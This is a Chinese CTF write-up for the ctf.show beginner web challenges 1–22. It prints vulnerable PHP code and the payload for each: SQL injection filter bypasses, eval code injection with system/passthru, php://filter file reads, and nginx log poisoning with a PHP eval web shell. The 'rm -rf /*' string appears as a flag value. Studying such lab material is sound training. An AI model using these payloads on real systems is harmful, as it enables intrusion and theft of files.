CTFshow_萌新(web)

CTFshow_萌新(web)

1.web1

  • 题目

    <html>
    <head>
        <title>ctf.show萌新计划web1</title>
        <meta charset="utf-8">
    </head>
    <body>
    <?php
    # 包含数据库连接文件
    include("config.php");
    # 判断get提交的参数id是否存在
    if(isset($_GET['id'])){
        $id = $_GET['id'];
        # 判断id的值是否大于999
        if(intval($id) > 999){
            # id 大于 999 直接退出并返回错误
            die("id error");
        }else{
            # id 小于 999 拼接sql语句
            $sql = "select * from article where id = $id order by id limit 1 ";
            echo "执行的sql为:$sql<br>";
            # 执行sql 语句
            $result = $conn->query($sql);
            # 判断有没有查询结果
            if ($result->num_rows > 0) {
                # 如果有结果,获取结果对象的值$row
                while($row = $result->fetch_assoc()) {
                    echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
                }
            }
            # 关闭数据库连接
            $conn->close();
        }
        
    }else{
        highlight_file(__FILE__);
    }
    
    ?>
    </body>
    <!-- flag in id = 1000 -->
    </html>
    
  • 根据题目分析,需要GET方式传递id参数,同时满足id<999并且id=1000时显示flag,所以我们构造的参数是`?id=900||id=1000

    请添加图片描述

2.web2

  • 题目

    <html>
    <head>
        <title>ctf.show萌新计划web1</title>
        <meta charset="utf-8">
    </head>
    <body>
    <?php
    # 包含数据库连接文件
    include("config.php");
    # 判断get提交的参数id是否存在
    if(isset($_GET['id'])){
            $id = $_GET['id'];
        if(preg_match("/or|\+/i",$id)){
                die("id error");
        }
        # 判断id的值是否大于999
        if(intval($id) > 999){
            # id 大于 999 直接退出并返回错误
            die("id error");
        }else{
            # id 小于 999 拼接sql语句
            $sql = "select * from article where id = $id order by id limit 1 ";
            echo "执行的sql为:$sql<br>";
            # 执行sql 语句
            $result = $conn->query($sql);
            # 判断有没有查询结果
            if ($result->num_rows > 0) {
                # 如果有结果,获取结果对象的值$row
                while($row = $result->fetch_assoc()) {
                    echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
                }
            }
            # 关闭数据库连接
            $conn->close();
        }
        
    }else{
        highlight_file(__FILE__);
    }
    
    ?>
    </body>
    <!-- flag in id = 1000 -->
    </html>
    
  • 该题和web1类似,只是加了对部分关键字的过滤。解法同web1

    请添加图片描述

3.web3

  • 题目

    <html>
    <head>
        <title>ctf.show萌新计划web1</title>
        <meta charset="utf-8">
    </head>
    <body>
    <?php
    # 包含数据库连接文件
    include("config.php");
    # 判断get提交的参数id是否存在
    if(isset($_GET['id'])){
            $id = $_GET['id'];
        if(preg_match("/or|\-|\\|\*|\<|\>|\!|x|hex|\+/i",$id)){
                die("id error");
        }
        # 判断id的值是否大于999
        if(intval($id) > 999){
            # id 大于 999 直接退出并返回错误
            die("id error");
        }else{
            # id 小于 999 拼接sql语句
            $sql = "select * from article where id = $id order by id limit 1 ";
            echo "执行的sql为:$sql<br>";
            # 执行sql 语句
            $result = $conn->query($sql);
            # 判断有没有查询结果
            if ($result->num_rows > 0) {
                # 如果有结果,获取结果对象的值$row
                while($row = $result->fetch_assoc()) {
                    echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
                }
            }
            # 关闭数据库连接
            $conn->close();
        }
        
    }else{
        highlight_file(__FILE__);
    }
    
    ?>
    </body>
    <!-- flag in id = 1000 -->
    </html>
    
  • 该题和web2类似,加了对部分关键字的过滤。构造的参数为?id=~~1000
    请添加图片描述

4.web4

  • 题目

    <html>
    <head>
        <title>ctf.show萌新计划web1</title>
        <meta charset="utf-8">
    </head>
    <body>
    <?php
    # 包含数据库连接文件
    include("config.php");
    # 判断get提交的参数id是否存在
    if(isset($_GET['id'])){
            $id = $_GET['id'];
        if(preg_match("/or|\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id)){
                die("id error");
        }
        # 判断id的值是否大于999
        if(intval($id) > 999){
            # id 大于 999 直接退出并返回错误
            die("id error");
        }else{
            # id 小于 999 拼接sql语句
            $sql = "select * from article where id = $id order by id limit 1 ";
            echo "执行的sql为:$sql<br>";
            # 执行sql 语句
            $result = $conn->query($sql);
            # 判断有没有查询结果
            if ($result->num_rows > 0) {
                # 如果有结果,获取结果对象的值$row
                while($row = $result->fetch_assoc()) {
                    echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
                }
            }
            # 关闭数据库连接
            $conn->close();
        }
        
    }else{
        highlight_file(__FILE__);
    }
    
    ?>
    </body>
    <!-- flag in id = 1000 -->
    </html>
    
  • 该题和web3类似,加了对部分关键字的过滤。构造的参数为?id=~~1000

    请添加图片描述

5.web5

  • 题目

    <html>
    <head>
        <title>ctf.show萌新计划web1</title>
        <meta charset="utf-8">
    </head>
    <body>
    <?php
    # 包含数据库连接文件
    include("config.php");
    # 判断get提交的参数id是否存在
    if(isset($_GET['id'])){
            $id = $_GET['id'];
        if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id)){
                die("id error");
        }
        # 判断id的值是否大于999
        if(intval($id) > 999){
            # id 大于 999 直接退出并返回错误
            die("id error");
        }else{
            # id 小于 999 拼接sql语句
            $sql = "select * from article where id = $id order by id limit 1 ";
            echo "执行的sql为:$sql<br>";
            # 执行sql 语句
            $result = $conn->query($sql);
            # 判断有没有查询结果
            if ($result->num_rows > 0) {
                # 如果有结果,获取结果对象的值$row
                while($row = $result->fetch_assoc()) {
                    echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
                }
            }
            # 关闭数据库连接
            $conn->close();
        }
        
    }else{
        highlight_file(__FILE__);
    }
    
    ?>
    </body>
    <!-- flag in id = 1000 -->
    </html>
    
  • 该题和web4类似,加了对部分关键字的过滤。构造的参数为?id=~~1000

    请添加图片描述

6.web6

  • 题目

    <html>
    <head>
        <title>ctf.show萌新计划web1</title>
        <meta charset="utf-8">
    </head>
    <body>
    <?php
    # 包含数据库连接文件
    include("config.php");
    # 判断get提交的参数id是否存在
    if(isset($_GET['id'])){
            $id = $_GET['id'];
        if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|x|hex|\(|\)|\+|select/i",$id)){
                die("id error");
        }
        # 判断id的值是否大于999
        if(intval($id) > 999){
            # id 大于 999 直接退出并返回错误
            die("id error");
        }else{
            # id 小于 999 拼接sql语句
            $sql = "select * from article where id = $id order by id limit 1 ";
            echo "执行的sql为:$sql<br>";
            # 执行sql 语句
            $result = $conn->query($sql);
            # 判断有没有查询结果
            if ($result->num_rows > 0) {
                # 如果有结果,获取结果对象的值$row
                while($row = $result->fetch_assoc()) {
                    echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
                }
            }
            # 关闭数据库连接
            $conn->close();
        }
        
    }else{
        highlight_file(__FILE__);
    }
    
    ?>
    </body>
    <!-- flag in id = 1000 -->
    </html>
    
  • 该题和web5类似,加了对部分关键字的过滤。构造的参数为?id=~~1000

    请添加图片描述

7.web7

  • 题目

    <html>
    <head>
        <title>ctf.show萌新计划web1</title>
        <meta charset="utf-8">
    </head>
    <body>
    <?php
    # 包含数据库连接文件
    include("config.php");
    # 判断get提交的参数id是否存在
    if(isset($_GET['id'])){
            $id = $_GET['id'];
        if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|\~|x|hex|\(|\)|\+|select/i",$id)){
                die("id error");
        }
        # 判断id的值是否大于999
        if(intval($id) > 999){
            # id 大于 999 直接退出并返回错误
            die("id error");
        }else{
            # id 小于 999 拼接sql语句
            $sql = "select * from article where id = $id order by id limit 1 ";
            echo "执行的sql为:$sql<br>";
            # 执行sql 语句
            $result = $conn->query($sql);
            # 判断有没有查询结果
            if ($result->num_rows > 0) {
                # 如果有结果,获取结果对象的值$row
                while($row = $result->fetch_assoc()) {
                    echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
                }
            }
            # 关闭数据库连接
            $conn->close();
        }
        
    }else{
        highlight_file(__FILE__);
    }
    
    ?>
    </body>
    <!-- flag in id = 1000 -->
    </html>
    
  • 该题和web6类似,加了对部分关键字的过滤。构造的参数为将~~1000进行进制转换为0b1111101000即可

    请添加图片描述

8.web8

  • 题目

    <html>
    <head>
        <title>ctf.show萌新计划web1</title>
        <meta charset="utf-8">
    </head>
    <body>
    <?php
    # 包含数据库连接文件,key flag 也在里面定义
    include("config.php");
    # 判断get提交的参数flag是否存在
    if(isset($_GET['flag'])){
            if(isset($_GET['flag'])){
                    $f = $_GET['flag'];
                    if($key===$f){
                            echo $flag;
                    }
            }
    }else{
        highlight_file(__FILE__);
    }
    
    ?>
    </body>
    </html>
    
  • 通过GET传递参数flag,并且 k e y 和 key和 keyf全等时输出flag。再根据提示阿呆熟悉的一顿操作,去了埃塞尔比亚。执行的是删库操作,所以flag的参数值为rm -rf /*

9.web9

  • 题目

    <?php
    # flag in config.php
    include("config.php");
    if(isset($_GET['c'])){
            $c = $_GET['c'];
            if(preg_match("/system|exec|highlight/i",$c)){
                    eval($c);
            }else{
                die("cmd error");
            }
    }else{
            highlight_file(__FILE__);
    }
    ?>
    
  • 通过GET方式传递参数c,并且当参数中含有system|exec|highlight时输出c,所以参数为?c=system(%27tac%20config.php%27);

10.web10

  • 题目

    <?php
    # flag in config.php
    include("config.php");
    if(isset($_GET['c'])){
            $c = $_GET['c'];
            if(!preg_match("/system|exec|highlight/i",$c)){
                    eval($c);
            }else{
                die("cmd error");
            }
    }else{
            highlight_file(__FILE__);
    }
    ?>
    
  • 和web9类似,参数为?c=show_source(%27config.php%27);

11.web11

  • 题目

    <?php
    # flag in config.php
    include("config.php");
    if(isset($_GET['c'])){
            $c = $_GET['c'];
            if(!preg_match("/system|exec|highlight|cat/i",$c)){
                    eval($c);
            }else{
                die("cmd error");
            }
    }else{
            highlight_file(__FILE__);
    }
    ?>
    
  • 和web10类似,做一个简单的拼接即可,参数为?c=$x=%27sys%27;$y=%27tem%27;$z=$x.$y;$z(%27tac%20config.php%27);

12.web12

  • 题目

    <?php
    # flag in config.php
    include("config.php");
    if(isset($_GET['c'])){
            $c = $_GET['c'];
            if(!preg_match("/system|exec|highlight|cat|\.|php|config/i",$c)){
                    eval($c);
            }else{
                die("cmd error");
            }
    }else{
            highlight_file(__FILE__);
    }
    ?>
    
  • 和web11类似,另外多了几个过滤,并且进行base64编码后才能获得flag;Y29uZmkqconfi*的base64编码

    ?c=$a=base64_decode('Y29uZmkq');passthru("tac $a");
    

13.web13

  • 题目

    <?php
    # flag in config.php
    include("config.php");
    if(isset($_GET['c'])){
            $c = $_GET['c'];
            if(!preg_match("/system|exec|highlight|cat|\.|\;|file|php|config/i",$c)){
                    eval($c);
            }else{
                die("cmd error");
            }
    }else{
            highlight_file(__FILE__);
    }
    ?>
    
  • 和web12类似,参数为?c=passthru(%27tac%20confi*%27)?>

14.web14

  • 题目

    <?php
    # flag in config.php
    include("config.php");
    if(isset($_GET['c'])){
            $c = $_GET['c'];
            if(!preg_match("/system|exec|highlight|cat|\(|\.|\;|file|php|config/i",$c)){
                    eval($c);
            }else{
                die("cmd error");
            }
    }else{
            highlight_file(__FILE__);
    }
    ?>
    
  • 发现过滤东西又多了,这次括号也过滤了。payload为?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=config.php。对回显结果进行base64解码得到flag

15.web15

  • 题目

    <?php
    # flag in config.php
    include("config.php");
    if(isset($_GET['c'])){
            $c = $_GET['c'];
            if(!preg_match("/system|\\*|\?|\<|\>|\=|exec|highlight|cat|\(|\.|file|php|config/i",$c)){
                    eval($c);
            }else{
                die("cmd error");
            }
    }else{
            highlight_file(__FILE__);
    }
    ?>
    
  • payload:?c=include$_GET['a'];&a=php://filter/read=convert.base64-encode/resource=config.php,解码得到flag

16.web16

  • 题目

    <?php
    # flag in config.php
    include("config.php");
    if(isset($_GET['c'])){
            $c = $_GET['c'];
            if(md5("ctfshow$c")==="a6f57ae38a22448c2f07f3f95f49c84e"){
                echo $flag;
            }else{
                echo "nonono!";
            }
    }else{
            highlight_file(__FILE__);
    }
    ?>
    
  • a6f57ae38a22448c2f07f3f95f49c84e进行md5解密,结果为ctfshow36d,当c=36d时,判定为真,获得flag

17.web17

  • 题目

    <?php
    if(isset($_GET['c'])){
           $c=$_GET['c'];
           if(!preg_match("/php/i",$c)){
                   include($c);
    
           }
    
    
    }else{
            highlight_file(__FILE__);
    }
    ?>
    
  • 使用data协议报错allow_url_include没开

    请添加图片描述

  • 试试日志文件包含,使用burpsuite抓包,从响应包中发现Server: nginx/1.18.0 (Ubuntu)

    请添加图片描述

  • Ubuntu中nginx的日志文件默认为/var/log/nginx/access.logor/var/log/nginx/error.log。访问?c=/var/log/nginx/access.log成功,可以看到记录了User-Agent

    请添加图片描述

  • 构造一句话写入User-Agent,进入日志文件,burp中修改User-Agent为<?php @eval($_POST[glc]);?>

    请添加图片描述

  • 使用蚁剑连接网址?c=/var/log/nginx/access.log,打开文件36d.php文件获得flag

    请添加图片描述

18.web18

  • 题目

    <?php
    if(isset($_GET['c'])){
           $c=$_GET['c'];
           if(!preg_match("/php|file/i",$c)){
                   include($c);
           }
    
    
    }else{
            highlight_file(__FILE__);
    }
    ?>
    
  • 过滤file,使用web17的方法可解

19.web19

  • 题目

    <?php
    if(isset($_GET['c'])){
           $c=$_GET['c'];
           if(!preg_match("/php|file|base/i",$c)){
                   include($c);
           }
    
    
    }else{
            highlight_file(__FILE__);
    }
    ?>
    
  • 过滤base,使用web17的方法可解

20.web20

  • 题目

    <?php
    if(isset($_GET['c'])){
           $c=$_GET['c'];
           if(!preg_match("/php|file|base|rot/i",$c)){
                   include($c);
           }
    
    
    }else{
            highlight_file(__FILE__);
    }
    ?>
    
  • 过滤rot,使用web17的方法可解

21.web21

  • 题目

    <?php
    if(isset($_GET['c'])){
           $c=$_GET['c'];
           if(!preg_match("/php|file|\:|base|rot/i",$c)){
                   include($c);
           }
    
    
    }else{
            highlight_file(__FILE__);
    }
    ?>
    
  • 用web17方法可解

22.web22

  • 题目

    <?php
    if(isset($_GET['c'])){
           $c=$_GET['c'];
           if(!preg_match("/\:|\/|\\\/i",$c)){
                   include($c.".php");
           }
    
    
    }else{
            highlight_file(__FILE__);
    }
    ?>
    
  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

果粒程1122

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值